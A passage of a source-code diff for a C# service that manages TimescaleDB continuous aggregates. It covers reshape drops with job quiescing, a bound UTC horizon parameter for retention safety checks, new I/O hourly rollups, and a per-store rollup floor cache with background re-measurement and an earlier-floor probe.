         var reshapes = new[]
         {
             /* OLD query_store_stats_hourly grouped by query_id/plan_id → stale iff it still has a query_id column. */
@@ -5498,6 +6149,7 @@ The ensure sweep recreates it WITH NO DATA and the eight-day refresh window re-m
         var dropped = 0;
         foreach (var (view, staleCheck) in reshapes)
         {
+            var hold = AggregateJobHold.None;
             try
             {
                 bool stale;
@@ -5511,21 +6163,46 @@ The ensure sweep recreates it WITH NO DATA and the eight-day refresh window re-m
                     continue;
                 }
 
+                /* #5551: stop the aggregate's jobs (and those of any aggregate built on it, which the CASCADE below
+                   takes too), and wait out a refresh already running, BEFORE the drop. */
+                hold = await QuiesceContinuousAggregateJobsAsync(connection, view, logger, quiesce, cancellationToken);
+                if (hold.Skip)
+                {
+                    continue;
+                }
+
                 using (var drop = new NpgsqlCommand($"DROP MATERIALIZED VIEW IF EXISTS collect.{view} CASCADE", connection) { CommandTimeout = SetupTimeoutSeconds })
                 {
                     await drop.ExecuteNonQueryAsync(cancellationToken);
                 }
 
+                hold = AggregateJobHold.None;
                 dropped++;
                 logger?.LogInformation(
                     "TimescaleDB: dropped stale continuous aggregate {View} (composer-dimension reshape) — recreated in the new shape this cycle.",
                     view);
             }
+            catch (OperationCanceledException) when (hold.Unscheduled.Count > 0)
+            {
+                await ResumeContinuousAggregateJobsAsync(connection, hold.Unscheduled, view, logger);
+                throw;
+            }
             catch (Exception ex) when (ex is not OperationCanceledException)
             {
                 logger?.LogWarning(
                     "Reshape drop of {View} failed — it stays in the OLD shape until the next restart retries: {Message}",
                     view, ex.Message);
+
+                /* #5551: a drop that lost to a running refresh (XX000) closes the connection (#5416), and this loop
+                   had no reopen, so the NEXT view's stale check threw "Connection is not open" and logged a second,
+                   misleading failure. Reopened here the way the retired-baseline sweep does, and the stopped jobs
+                   start again so the aggregate that stays keeps refreshing. */
+                if (!await ReopenAndResumeAfterFailedDropAsync(
+                        connection, hold, view, logger,
+                        "The stale-aggregate reshape's connection broke and could not be reopened, so the rest of the reshape is skipped until the next pass retries it: {Message}", cancellationToken))
+                {
+                    return dropped;
+                }
             }
         }
 
@@ -6676,6 +7353,33 @@ FROM timescaledb_information.jobs AS j
     /// </summary>
     public const string IntervalHonestSourceFilter = "sample_interval_seconds IS DISTINCT FROM 0";
 
+    /// <summary>
+    /// The placeholder <see cref="RetentionArmSafetySql"/> writes where a stitched slot's fallback horizon goes
+    /// (#4981). The horizon is BOUND, never computed in the statement: <c>now()::timestamp</c> is effectively
+    /// <c>LOCALTIMESTAMP</c>, so it renders the clock in the store session's TimeZone, while every
+    /// <c>bucket</c> and <c>collection_time</c> it is compared with is naive UTC. Both sides are
+    /// <c>timestamp</c>, so PostgreSQL raises nothing and the probe's upper bound simply moves by the session's
+    /// UTC offset: a session west of UTC ends the scan earlier and misses holes, one east of it ends the scan
+    /// later and reports holes in hours the successor's first refresh has not reached yet. The product pins its
+    /// store sessions to UTC, so that was harmless in production, but the statement's answer should not hang on
+    /// a connection setting (the <see cref="BaselineBackfillProbeSql(string, string)"/> reasoning, which binds
+    /// the same kind of horizon as <c>$1</c>). The caller binds <see cref="RetentionArmSafetyHorizon"/> as the
+    /// statement's only parameter. A statement with no stitched slot never names it, so the caller binds the
+    /// parameter only when the text carries the placeholder.
+    /// </summary>
+    public const string RetentionArmSafetyHorizonPlaceholder = "$1";
+
+    /// <summary>
+    /// The value <see cref="RetentionArmSafetySql"/>'s <see cref="RetentionArmSafetyHorizonPlaceholder"/> is
+    /// bound to: the service's UTC clock (<paramref name="utcNow"/>, the clock that stamped every
+    /// <c>collection_time</c> the buckets derive from) minus <see cref="HourlyRefreshStartSpan"/>, the
+    /// <see cref="HourlyRefreshStartOffset"/> the successor's own first refresh reaches back. Kind
+    /// <see cref="DateTimeKind.Unspecified"/> so Npgsql sends <c>timestamp</c>, not <c>timestamptz</c>, the way
+    /// <see cref="BaselineBackfillProbeSql(string, string)"/>'s horizon is sent.
+    /// </summary>
+    public static DateTime RetentionArmSafetyHorizon(DateTime utcNow)
+        => DateTime.SpecifyKind(utcNow - HourlyRefreshStartSpan, DateTimeKind.Unspecified);
+
     /// <summary>
     /// Is it safe to arm <paramref name="relation"/>'s retention policy — i.e. does EVERY tier below it already
     /// cover everything this relation holds? Emits the source's oldest row followed by one
@@ -6792,6 +7496,11 @@ FROM timescaledb_information.jobs AS j
     /// <c>alter_job</c>/<c>run_job</c> against a raw job's <c>job_id</c> always executes immediately, exactly
     /// as it does for every other job in the catalog — this gate governs the SERVICE's own trigger, not the
     /// database's ordinary admin surface.</para>
+    ///
+    /// <para><b>The statement takes one parameter (#4981).</b> A stitched slot's fallback horizon is
+    /// <see cref="RetentionArmSafetyHorizonPlaceholder"/>, to be bound as <see cref="RetentionArmSafetyHorizon"/>;
+    /// it is not computed from <c>now()</c> in the text, so the verdict does not move with the store session's
+    /// time zone.</para>
     /// </summary>
     public static string RetentionArmSafetySql(string relation, string sourceTimeColumn, IReadOnlyList<string> coverageRelations)
     {
@@ -6850,9 +7559,10 @@ that the walk never repairs holds the raw purge forever with no self-release. Th
            runs from raw's own filtered floor (below it raw admits no row, so no hole can exist there — a
            gap left by an EARLIER version's purge below that floor is invisible here BY CONSTRUCTION, not
            merely undetected) up to the successor's first bucket strictly ABOVE the legacy's last bucket
-           (or, when the successor holds nothing that high, now() minus HourlyRefreshStartOffset — the successor's
-           own first refresh reaches every bucket newer than that, so a bare empty successor is not a hole)
-           minus one bucket width. That
+           (or, when the successor holds nothing that high, the bound horizon, the service clock minus
+           HourlyRefreshStartOffset — the successor's own first refresh reaches every bucket newer than that, so
+           a bare empty successor is not a hole; see RetentionArmSafetyHorizonPlaceholder for why it is bound and
+           not computed here) minus one bucket width. That
            upper bound is deliberately NOT s.mn: an interior repair materializes successor buckets AT OR
            BELOW l.mx, which moves s.mn itself down, and a probe bounded on s.mn would then miss the seam
            entirely once even one such repair has run. Bounding instead on the successor's first bucket
@@ -6881,7 +7591,7 @@ keeping those as simple min(bucket). PostgreSQL's LEAST ignores NULL arguments (
                 + $"                WHEN {LegacySuccessorHoleExistsSql(
                         relation, sourceTimeColumn, successorFilter, legacy, c,
                         fromExpr: $"time_bucket(INTERVAL '1 hour', (SELECT min(src.{sourceTimeColumn}) FROM collect.{relation} AS src{successorFloorWhere}))",
-                        toExpr: $"COALESCE((SELECT min(sa.bucket) FROM collect.{c} AS sa WHERE sa.bucket > l.mx), time_bucket(INTERVAL '1 hour', now()::timestamp - INTERVAL '{HourlyRefreshStartOffset}')) - INTERVAL '1 hour'",
+                        toExpr: $"COALESCE((SELECT min(sa.bucket) FROM collect.{c} AS sa WHERE sa.bucket > l.mx), time_bucket(INTERVAL '1 hour', {RetentionArmSafetyHorizonPlaceholder})) - INTERVAL '1 hour'",
                         bucketWidthLiteral: "INTERVAL '1 hour'")}{Environment.NewLine}"
                 + $"                THEN NULL{Environment.NewLine}"
                 + $"                ELSE LEAST(l.mn, s.mn){Environment.NewLine}"
@@ -6998,6 +7708,15 @@ summarizes once it is purged at 90 days. */
             (Relation: ProcedureStatsIntervalHourlyView, DropAfter: HourlyRetentionInterval, TimeColumn: "bucket", Coverage: new[] { RequireSuccessorDailyOf(ProcedureStatsIntervalHourlyView) }),
             (Relation: QueryStatsDbIntervalHourlyView,   DropAfter: HourlyRetentionInterval, TimeColumn: "bucket", Coverage: new[] { RequireSuccessorDailyOf(QueryStatsDbIntervalHourlyView) }),
 
+            /* #5329: the two io hourlies are LEAVES (#1757's rule): Coverage names the aggregate itself. The leaf
+               rule's one assumption is that NOTHING is built from io -- no daily, no hierarchical view -- so no
+               consumer's floor has to be waited on. The day a daily is built from either, that daily belongs
+               in Coverage here (as RequireSuccessorDailyOf does for the interval pair) or this purge could
+               drop buckets the new daily has not captured. They are not in RawTierCoverage on purpose (#1661:
+               a fresh rollup must not hold the raw purge). */
+            (Relation: QueryStatsIoHourlyView,           DropAfter: HourlyRetentionInterval, TimeColumn: "bucket", Coverage: new[] { QueryStatsIoHourlyView }),
+            (Relation: ProcedureStatsIoHourlyView,       DropAfter: HourlyRetentionInterval, TimeColumn: "bucket", Coverage: new[] { ProcedureStatsIoHourlyView }),
+
             /* The corrected Query Store tier (#1849, extended by #1869).
 
                L1 has THREE consumers. Two because the corrected daily is its SIBLING rather than the corrected
@@ -7131,7 +7850,17 @@ private enum RetentionCoverage
     {
         try
         {
-            using var command = new NpgsqlCommand(RetentionArmSafetySql(relation, sourceTimeColumn, coverageRelations), connection) { CommandTimeout = SetupTimeoutSeconds };
+            var coverageSql = RetentionArmSafetySql(relation, sourceTimeColumn, coverageRelations);
+            using var command = new NpgsqlCommand(coverageSql, connection) { CommandTimeout = SetupTimeoutSeconds };
+
+            /* #4981: the stitch's fallback horizon, bound off the service's UTC clock and not computed from
+               now() in the SQL (RetentionArmSafetyHorizonPlaceholder says why). Bound only when the text names
+               it: a relation with no stitched slot (query_store_stats) builds a statement that has no use for it. */
+            if (coverageSql.Contains(RetentionArmSafetyHorizonPlaceholder, StringComparison.Ordinal))
+            {
+                command.Parameters.AddWithValue(RetentionArmSafetyHorizon(DateTime.UtcNow));
+            }
+
             using var reader = await command.ExecuteReaderAsync(cancellationToken);
             if (!await reader.ReadAsync(cancellationToken))
             {
@@ -8771,9 +9500,15 @@ there is no materialization to compress. Named in the summary rather than re-war
             {
                 if (!state.CompressionEnabled)
                 {
-                    using var enable = new NpgsqlCommand(EnableAggregateCompressionSql(view), connection) { CommandTimeout = SetupTimeoutSeconds };
-                    await enable.ExecuteNonQueryAsync(cancellationToken);
-                    state = state with { CompressionEnabled = true };
+                    var outcome = await TryRunBoundedDdlAsync(
+                        connection, new[] { EnableAggregateCompressionSql(view) }, logger,
+                        $"compression on continuous aggregate collect.{view}", cancellationToken);
+                    if (outcome != BoundedDdlOutcome.Applied)
+                    {
+                        continue;
+                    }
+
+                    state = state with { CompressionEnabled = true };
                     states[view] = state;
                 }
 
@@ -9106,7 +9841,12 @@ store on a #1849-era service keeps reading the corrected daily and needs no vers
            store, with no version gate. */
         $"to_regclass('collect.{QueryStatsIntervalDailyView}') IS NOT NULL, " +
         $"to_regclass('collect.{ProcedureStatsIntervalDailyView}') IS NOT NULL, " +
-        $"to_regclass('collect.{QueryStatsDbIntervalDailyView}') IS NOT NULL";
+        $"to_regclass('collect.{QueryStatsDbIntervalDailyView}') IS NOT NULL, " +
+        /* The two hourly rollups that carry logical reads (#5329) — existence-is-the-probe once more: a store
+           whose ensure sweep has not made them yet has none, and a reads ranking stays on raw for exactly that
+           store, with no version gate. */
+        $"to_regclass('collect.{QueryStatsIoHourlyView}') IS NOT NULL, " +
+        $"to_regclass('collect.{ProcedureStatsIoHourlyView}') IS NOT NULL";
 
     /// <summary>
     /// Detects which continuous-aggregate rollups exist in the store (<see cref="RollupProbeSql"/>). On a
@@ -9134,7 +9874,8 @@ public static async Task<RollupAvailability> DetectRollupsAsync(NpgsqlDataSource
             reader.GetBoolean(8), reader.GetBoolean(9), reader.GetBoolean(10),
             reader.GetBoolean(11), reader.GetBoolean(12),
             reader.GetBoolean(13), reader.GetBoolean(14), reader.GetBoolean(15),
-            reader.GetBoolean(16), reader.GetBoolean(17), reader.GetBoolean(18));
+            reader.GetBoolean(16), reader.GetBoolean(17), reader.GetBoolean(18),
+            reader.GetBoolean(19), reader.GetBoolean(20));
     }
 
     /* ─────────────── rollup COVERAGE (the un-materialized-history guard, #1759) ─────────────── */
@@ -9212,6 +9953,13 @@ BucketWidth above is what keeps the backfill honest here as well. */
         (ProcedureStatsIntervalHourlyView, "procedure_stats", "procedure_stats", "collection_time", HourlyBucket),
         (QueryStatsDbIntervalHourlyView, "query_stats", "query_stats", "collection_time", HourlyBucket),
 
+        /* The two hourly rollups that carry logical reads (#5329): raw-sourced, depth 0 in the backfill order,
+           hourly-bucketed. Registering them HERE puts them on --backfill-rollups, in the coverage probe and in
+           MaterializationHoleTargets. They are NOT in RawTierCoverage (#1661: a fresh rollup must not hold the
+           raw purge) and NOT in SupersededHourlyRollups (nothing older is stitched to them). */
+        (QueryStatsIoHourlyView, "query_stats", "query_stats", "collection_time", HourlyBucket),
+        (ProcedureStatsIoHourlyView, "procedure_stats", "procedure_stats", "collection_time", HourlyBucket),
+
         /* The interval-honest successor DAILIES (#3653, A6): hierarchical from the interval-honest hourly
            successors just above, so RawTable is still the raw table two hops down and Source is the successor
            HOURLY (not the legacy). Registering them here puts them on the --backfill-rollups plan
@@ -9266,7 +10014,7 @@ public static string RollupCoverageProbeSql(RollupAvailability availability, IRe
     {
         var columns = RollupViews
             .Select(r => availability.Has(r.View) && (measure is null || measure.Contains(r.View))
-                ? $"(SELECT min(bucket) FROM collect.{r.View})"
+                ? $"(SELECT {ColdFloorMarker} min(bucket) FROM collect.{r.View})"
                 : "NULL::timestamp")
             /* The raw tables are migration-created and always exist, so they need no availability gate. */
             .Concat(RolledRawTables.Select(t => $"(SELECT min(collection_time) FROM collect.{t})"));
@@ -9274,6 +10022,16 @@ public static string RollupCoverageProbeSql(RollupAvailability availability, IRe
         return "SELECT " + string.Join(", ", columns);
     }
 
+    /// <summary>The fixed marker the cold coverage probe (<see cref="RollupCoverageProbeSql(RollupAvailability,IReadOnlySet{string}?)"/>)
+    /// carries inside every rollup column it measures (#5329): <c>(SELECT marker min(bucket) FROM collect.&lt;view&gt;)</c>. The
+    /// floor-cache tests count the statements that carry the marker beside one view, so the count is of THIS probe and does not
+    /// depend on how any other statement spells its <c>min(bucket)</c>.</summary>
+    internal const string ColdFloorMarker = "/* coverage-floor:cold */";
+
+    /// <summary>The fixed marker the bounded earlier-floor probe (<see cref="RollupEarlierFloorProbeSql"/>) carries (#5329); see
+    /// <see cref="ColdFloorMarker"/>.</summary>
+    internal const string EarlierFloorMarker = "/* coverage-floor:earlier */";
+
     /// <summary>
     /// #4539: for each rollup PRESENT in <paramref name="availability"/>, its materialization's OLDEST chunk —
     /// the identity the floor cache keys on. A rollup's floor only moves when its oldest chunk changes
@@ -9290,6 +10048,12 @@ public static string RollupCoverageProbeSql(RollupAvailability availability, IRe
     /// names chunks from a sequence that is not scoped per-hypertable in every version) — the oldest-chunk name
     /// alone is not a reliable identity across a drop/re-create. The hypertable identity is, so the planner
     /// must treat EITHER one changing as a reason to re-measure.</para>
+    ///
+    /// <para>#4957: every row also carries the <b>database's OID</b>, read from the same catalog round trip. A
+    /// database dropped and recreated under the same name, with the same layout, reproduces both names above
+    /// exactly (chunk ids and hypertable ids come from per-database sequences), and the floor cache is now held
+    /// per store, so the name alone would let a recreated database be served its predecessor's floors. A recreated
+    /// database gets a new OID, so the OID is the third half of the identity.</para>
     /// </summary>
     public static string? RollupOldestChunkSql(RollupAvailability availability)
     {
@@ -9305,7 +10069,8 @@ public static string RollupCoverageProbeSql(RollupAvailability availability, IRe
     ca.view_name,
     oldest.chunk_name,
     oldest.range_start,
-    ca.materialization_hypertable_schema || '.' || ca.materialization_hypertable_name AS materialization_hypertable
+    ca.materialization_hypertable_schema || '.' || ca.materialization_hypertable_name AS materialization_hypertable,
+    (SELECT d.oid::bigint FROM pg_catalog.pg_database AS d WHERE d.datname = current_database()) AS database_oid
 FROM timescaledb_information.continuous_aggregates AS ca
 LEFT JOIN LATERAL (
     SELECT c.chunk_name, c.range_start
@@ -9320,30 +10085,93 @@ LIMIT 1
     }
 
     /// <summary>
-    /// #4539/#4553: the per-<see cref="NpgsqlDataSource"/> rollup floor cache — keyed on the data source rather
-    /// than held statically, so two stores' caches (two <see cref="NpgsqlDataSource"/> instances, one per store)
-    /// never cross-pollute, and a disposed data source's entry is collected with it rather than leaking
-    /// forever. <see cref="ConditionalWeakTable{TKey,TValue}"/> for exactly that lifetime, and its own
-    /// dictionary value is a plain (thread-unsynchronized) <see cref="Dictionary{TKey,TValue}"/> guarded by a
-    /// lock — <see cref="DetectRollupCoverageAsync"/> is called on a timer AND on demand from the viewer, so
-    /// two calls can race on the same data source.</summary>
-    private static readonly ConditionalWeakTable<NpgsqlDataSource, RollupFloorCache> RollupFloorCaches = new();
+    /// #4957: the rollup floor cache, ONE PER STORE for the whole process — keyed on the store's identity
+    /// (<see cref="RollupStoreKey"/>: host, port and database from the connection string), not on the
+    /// <see cref="NpgsqlDataSource"/>. The service opens several data sources on one store (the collector's, the MCP
+    /// host's, the web host's), and the cache used to be one per data source, so each paid the cold
+    /// <c>min(bucket)</c> sort of every rollup's oldest compressed chunk on its own, about ten seconds on a store
+    /// with a long history, at the first call, after every failed probe and every hour.
+    ///
+    /// <para>This keeps both goals #4539/#4553 held the per-data-source key for. <b>No cross-store
+    /// pollution:</b> two stores differ in host, port or database, so they never share an entry; and every entry
+    /// also records the database's OID (<see cref="RollupChunkIdentity"/>), so a database dropped and recreated
+    /// under the same name is never served its predecessor's floors even when the new one reproduces the old
+    /// chunk and hypertable names. <b>Nothing grows without bound:</b> there is one small entry per store this
+    /// process has opened, not one per data source or per call; a process that talks to a handful of stores
+    /// holds a handful of entries.</para>
+    ///
+    /// <para>The cache's own dictionary is a plain (thread-unsynchronized) <see cref="Dictionary{TKey,TValue}"/>
+    /// guarded by a lock — <see cref="DetectRollupCoverageAsync"/> is called on a timer AND on demand from every
+    /// data source on the store, so calls race.</para>
+    /// </summary>
+    private static readonly ConcurrentDictionary<string, RollupFloorCache> RollupFloorCaches = new(StringComparer.Ordinal);
+
+    /// <summary>
+    /// #4957: the key <see cref="RollupFloorCaches"/> holds a store under: host (case-insensitive), port and database,
+    /// from <paramref name="dataSource"/>'s connection string. The user, password and session options are left out on
+    /// purpose: the floors are a fact about the store, not about the role that read them. A connection string Npgsql
+    /// cannot parse falls back to itself, so the same string still shares one entry.
+    /// </summary>
+    internal static string RollupStoreKey(NpgsqlDataSource dataSource)
+    {
+        var connectionString = dataSource.ConnectionString;
+        try
+        {
+            var builder = new NpgsqlConnectionStringBuilder(connectionString);
+            var host = (builder.Host ?? string.Empty).Trim().ToLowerInvariant();
+            /* Npgsql opens the database named after the user when none is given. */
+            var database = builder.Database ?? builder.Username ?? string.Empty;
+            return string.Create(CultureInfo.InvariantCulture, $"{host}:{builder.Port}/{database}");
+        }
+        catch (Exception ex) when (ex is ArgumentException or FormatException)
+        {
+            return connectionString;
+        }
+    }
 
     /// <summary>
     /// #4553: bounds how long a cached rollup floor may be reused even when its oldest chunk's identity has
     /// not changed. A retention DELETE that runs against the oldest materialization chunk (raw data aging out
     /// past its retention while the chunk itself is left in place) can move the true floor LATER without
     /// changing the chunk's identity at all — the cache has no catalog signal for that. Re-measuring on a
-    /// timer, independent of the chunk-identity check, bounds the staleness to at most this long. An hour
-    /// still cuts the expensive re-sort from every five-minute probe cycle to at most once an hour.
+    /// timer, independent of the chunk-identity check, bounds the staleness (the bound itself, with the #4957
+    /// background pass, is stated in the paragraph below). An hour still cuts the expensive re-sort from every
+    /// five-minute probe cycle to at most once an hour.
+    ///
+    /// <para><b>#4957: past the hour, up to <see cref="RollupFloorMaxServeAge"/>, the caller does not wait for the
+    /// re-measure.</b> A caller that finds an entry between one and two times this window old whose oldest chunk is
+    /// UNCHANGED is served the cached floor, and starts ONE background re-measure for the store (callers that arrive
+    /// while it runs start none), so the floor is replaced one probe after the first caller notices it is due. A
+    /// changed chunk, a different database or no entry at all still measures inline, because then the cached floor
+    /// is known to be wrong, not merely old. So does an entry two times this window old or older, however long the
+    /// store went without a caller: it is measured by that caller, as it was before the background pass existed.
+    /// <b>The staleness bound</b> is therefore at most two hours plus one probe's duration, whether or not callers
+    /// keep arriving. No floor is served once its entry is two hours old, and the probe is what the call that serves
+    /// a floor may still spend measuring its other views before it returns. The reused floor can only be EARLIER
+    /// than the true one by what a retention delete inside the oldest chunk removed in that time (a routing
+    /// over-claim of at most that much), which is the same exposure this safety net always bounded, now for up to
+    /// an hour and one probe longer.</para>
     /// </summary>
     internal static readonly TimeSpan RollupFloorMaxReuse = TimeSpan.FromHours(1);
 
-    /// <summary>One data source's cached rollup floors, keyed by view name.</summary>
+    /// <summary>
+    /// #4957: the age at which a cached rollup floor is no longer served at all: twice <see cref="RollupFloorMaxReuse"/>.
+    /// An entry between the two is served from the cache while one background pass re-measures it; an entry this old or
+    /// older is measured inline, by the caller, as it was before the background pass existed. Derived from
+    /// <see cref="RollupFloorMaxReuse"/> rather than written as a second number, and declared AFTER it: static fields
+    /// initialize in textual order, so one declared above it would capture a zero.
+    /// </summary>
+    internal static readonly TimeSpan RollupFloorMaxServeAge = RollupFloorMaxReuse * 2;
+
+    /// <summary>One store's cached rollup floors, keyed by view name, plus the background re-measure (#4957).</summary>
     private sealed class RollupFloorCache
     {
         public readonly object Lock = new();
         public readonly Dictionary<string, RollupFloorCacheEntry> ByView = new(StringComparer.Ordinal);
+
+        /// <summary>The store's one background re-measure, started under <see cref="Lock"/>. Non-null and incomplete
+        /// while it runs; a completed task is history and the next caller that finds an entry due may start another.</summary>
+        public Task? Remeasure;
     }
 
     /// <summary>
@@ -9352,17 +10180,28 @@ private sealed class RollupFloorCache
     /// the continuous aggregate mints a new materialization hypertable whose first chunk can, by coincidence,
     /// land with the same generated chunk name a previous incarnation once had. Either identity changing means
     /// the cached floor no longer describes the relation actually being read. <see cref="MeasuredAtUtc"/> backs
-    /// <see cref="RollupFloorMaxReuse"/>.
+    /// <see cref="RollupFloorMaxReuse"/>. <see cref="DatabaseOid"/> (#4957) is the third half of that identity:
+    /// the OID of the database the floor was measured in, so a database dropped and recreated under the same name
+    /// never matches the entry its predecessor left (0 when the catalog read did not return one).
     /// </summary>
     /// <para><see cref="Ceiling"/> (#4605) is the materialization ceiling measured in the SAME
     /// cycle as <see cref="Floor"/> — re-read whenever the floor is (the ceiling moves every refresh, so
     /// piggybacking on the floor's re-measure cadence, rather than a separate TTL, is the cheap answer: a
     /// view whose floor is trusted from cache almost never has a stale-enough ceiling to matter, and a
     /// dedicated per-request re-read would be the expensive scan #4539 already exists to avoid).</para>
-    internal readonly record struct RollupFloorCacheEntry(string? ChunkName, string? MaterializationHypertable, DateTime Floor, DateTime MeasuredAtUtc, DateTime? Ceiling = null);
+    internal readonly record struct RollupFloorCacheEntry(string? ChunkName, string? MaterializationHypertable, DateTime Floor, DateTime MeasuredAtUtc, DateTime? Ceiling = null, long DatabaseOid = 0);
+
+    /// <summary>The oldest-chunk catalog read's per-view identity, before any floor has been attached to it:
+    /// the oldest chunk's name, the materialization hypertable, and (#4957) the database's OID.</summary>
+    internal readonly record struct RollupChunkIdentity(string? ChunkName, string? MaterializationHypertable, long DatabaseOid = 0);
 
-    /// <summary>The oldest-chunk catalog read's per-view identity, before any floor has been attached to it.</summary>
-    internal readonly record struct RollupChunkIdentity(string? ChunkName, string? MaterializationHypertable);
+    /// <summary>
+    /// #4957: which present views a coverage cycle must measure NOW (<see cref="Inline"/>: the caller waits for
+    /// them) and which are due only because their cached floor is older than <see cref="RollupFloorMaxReuse"/> but
+    /// younger than <see cref="RollupFloorMaxServeAge"/> (<see cref="Background"/>: the caller is served the cached
+    /// floor and a background re-measure replaces it).
+    /// </summary>
+    internal readonly record struct RollupFloorPlan(IReadOnlySet<string> Inline, IReadOnlySet<string> Background);
 
     /// <summary>
     /// #4539/#4553 pure planner: which of <paramref name="availability"/>'s present views must have
@@ -9383,7 +10222,29 @@ internal static IReadOnlySet<string> RollupFloorsToMeasure(
         RollupAvailability availability,
         DateTime now)
     {
-        var measure = new HashSet<string>(StringComparer.Ordinal);
+        var plan = PlanRollupFloorMeasurements(cached, oldestNow, availability, now);
+        var measure = new HashSet<string>(plan.Inline, StringComparer.Ordinal);
+        measure.UnionWith(plan.Background);
+        return measure;
+    }
+
+    /// <summary>
+    /// #4957: <see cref="RollupFloorsToMeasure"/>'s decision, split by who waits. A view with no entry, a changed
+    /// identity (oldest chunk, materialization hypertable or database OID) or no chunk at all is
+    /// <see cref="RollupFloorPlan.Inline"/>: its cached floor is wrong or absent. So is a view whose identity matches
+    /// but whose entry is <see cref="RollupFloorMaxServeAge"/> old or older: that floor is too old to serve, however
+    /// long the store went without a caller. A view whose identity matches and whose entry is at least
+    /// <see cref="RollupFloorMaxReuse"/> but under <see cref="RollupFloorMaxServeAge"/> old is
+    /// <see cref="RollupFloorPlan.Background"/>: the cached floor is only old.
+    /// </summary>
+    internal static RollupFloorPlan PlanRollupFloorMeasurements(
+        IReadOnlyDictionary<string, RollupFloorCacheEntry> cached,
+        IReadOnlyDictionary<string, RollupChunkIdentity> oldestNow,
+        RollupAvailability availability,
+        DateTime now)
+    {
+        var inline = new HashSet<string>(StringComparer.Ordinal);
+        var background = new HashSet<string>(StringComparer.Ordinal);
         foreach (var (view, identity) in oldestNow)
         {
             if (!availability.Has(view))
@@ -9393,20 +10254,206 @@ internal static IReadOnlySet<string> RollupFloorsToMeasure(
 
             if (identity.ChunkName is null)
             {
-                measure.Add(view);
+                inline.Add(view);
                 continue;
             }
 
             if (!cached.TryGetValue(view, out var entry)
                 || !string.Equals(entry.ChunkName, identity.ChunkName, StringComparison.Ordinal)
                 || !string.Equals(entry.MaterializationHypertable, identity.MaterializationHypertable, StringComparison.Ordinal)
-                || now - entry.MeasuredAtUtc >= RollupFloorMaxReuse)
+                || entry.DatabaseOid != identity.DatabaseOid)
+            {
+                inline.Add(view);
+                continue;
+            }
+
+            var age = now - entry.MeasuredAtUtc;
+            if (age >= RollupFloorMaxServeAge)
             {
-                measure.Add(view);
+                /* Too old to serve at all, however long the store went without a caller: measured by this caller. */
+                inline.Add(view);
+            }
+            else if (age >= RollupFloorMaxReuse)
+            {
+                background.Add(view);
             }
         }
 
-        return measure;
+        return new RollupFloorPlan(inline, background);
+    }
+
+    /// <summary>
+    /// #5329: which views a coverage cycle should ask "is anything EARLIER than the floor I cached?" for. A view whose
+    /// cached identity matches its oldest chunk (so <see cref="PlanRollupFloorMeasurements"/> chose to trust the cached
+    /// floor) can still have a true floor EARLIER than the cached one: a refresh or a <c>--backfill-rollups</c> run
+    /// that fills earlier buckets usually lands them in the chunk the cache already knows, so neither the chunk name
+    /// nor the hypertable moves, and a cached floor would otherwise be served until the hour is up. That is exactly
+    /// what happens to a new rollup (the io hourly pair): the refresh policy fills recent hours first and the earlier
+    /// ones later. Candidates are the present views that have an entry whose identity matches and that this cycle is
+    /// not already measuring (<paramref name="measuring"/>) or deferring to the background pass
+    /// (<paramref name="deferred"/>, which re-measures them within the cycle anyway).
+    /// </summary>
+    internal static IReadOnlyList<string> RollupViewsToCheckForAnEarlierFloor(
+        IReadOnlyDictionary<string, RollupFloorCacheEntry> cached,
+        IReadOnlyDictionary<string, RollupChunkIdentity> oldestNow,
+        RollupAvailability availability,
+        IReadOnlySet<string> measuring,
+        IReadOnlySet<string>? deferred)
+    {
+        var views = new List<string>();
+        foreach (var (view, _, _, _, _) in RollupViews)
+        {
+            if (!availability.Has(view)
+                || measuring.Contains(view)
+                || (deferred is not null && deferred.Contains(view))
+                || !cached.TryGetValue(view, out var entry)
+                || !oldestNow.TryGetValue(view, out var identity)
+                || !string.Equals(entry.ChunkName, identity.ChunkName, StringComparison.Ordinal)
+                || !string.Equals(entry.MaterializationHypertable, identity.MaterializationHypertable, StringComparison.Ordinal)
+                || entry.DatabaseOid != identity.DatabaseOid)
+            {
+                continue;
+            }
+
+            views.Add(view);
+        }
+
+        return views;
+    }
+
+    /// <summary>
+    /// #5329: the bounded "anything earlier than the cached floor?" read for <paramref name="views"/>, one column each,
+    /// <c>$1</c>, <c>$2</c>... being each view's cached floor. <c>min(m.bucket) ... WHERE m.bucket &lt; floor</c> is
+    /// answered from the chunk constraints and, on a compressed chunk, the batch metadata: every batch whose smallest
+    /// bucket is at or after the cached floor is skipped without being decompressed, so a rollup with nothing earlier
+    /// costs a metadata read, not the cold sort of <see cref="RollupCoverageProbeSql(RollupAvailability,IReadOnlySet{string}?)"/>.
+    /// A non-NULL answer IS the new floor: everything at or after the cached floor is not smaller, so the smallest row
+    /// below it is the smallest row there is. NULL means the cached floor still stands. The statement carries
+    /// <see cref="EarlierFloorMarker"/> and the cold probe <see cref="ColdFloorMarker"/>, which is what the floor-cache tests
+    /// count to prove the cold probe is not re-run (the alias spelling is no longer what keeps them apart).
+    /// </summary>
+    internal static string RollupEarlierFloorProbeSql(IReadOnlyList<string> views)
+        => "SELECT " + string.Join(", ", views.Select((view, i) =>
+            string.Create(CultureInfo.InvariantCulture, $"(SELECT min(m.bucket) FROM collect.{view} AS m WHERE m.bucket < ${i + 1}::timestamp)")))
+           + " " + EarlierFloorMarker;
+
+    /// <summary>
+    /// #5329: runs <see cref="RollupEarlierFloorProbeSql"/> for <paramref name="views"/> against their cached floors and
+    /// returns the views whose true floor is EARLIER, with that floor. A failed read returns nothing: the cached floor
+    /// is kept, the conservative direction (a later floor never claims coverage a rollup lacks), and the hour's
+    /// re-measure still applies.
+    /// </summary>
+    private static async Task<Dictionary<string, DateTime>> ReadEarlierRollupFloorsAsync(
+        NpgsqlDataSource dataSource,
+        IReadOnlyList<string> views,
+        Dictionary<string, RollupFloorCacheEntry> cached,
+        CancellationToken cancellationToken)
+    {
+        var moved = new Dictionary<string, DateTime>(StringComparer.Ordinal);
+        if (views.Count == 0)
+        {
+            return moved;
+        }
+
+        try
+        {
+            await using var command = dataSource.CreateCommand(RollupEarlierFloorProbeSql(views));
+            command.CommandTimeout = JobCatalogReadTimeoutSeconds;
+            foreach (var view in views)
+            {
+                command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(cached[view].Floor, DateTimeKind.Unspecified) });
+            }
+
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            if (await reader.ReadAsync(cancellationToken))
+            {
+                for (var i = 0; i < views.Count; i++)
+                {
+                    if (!await reader.IsDBNullAsync(i, cancellationToken))
+                    {
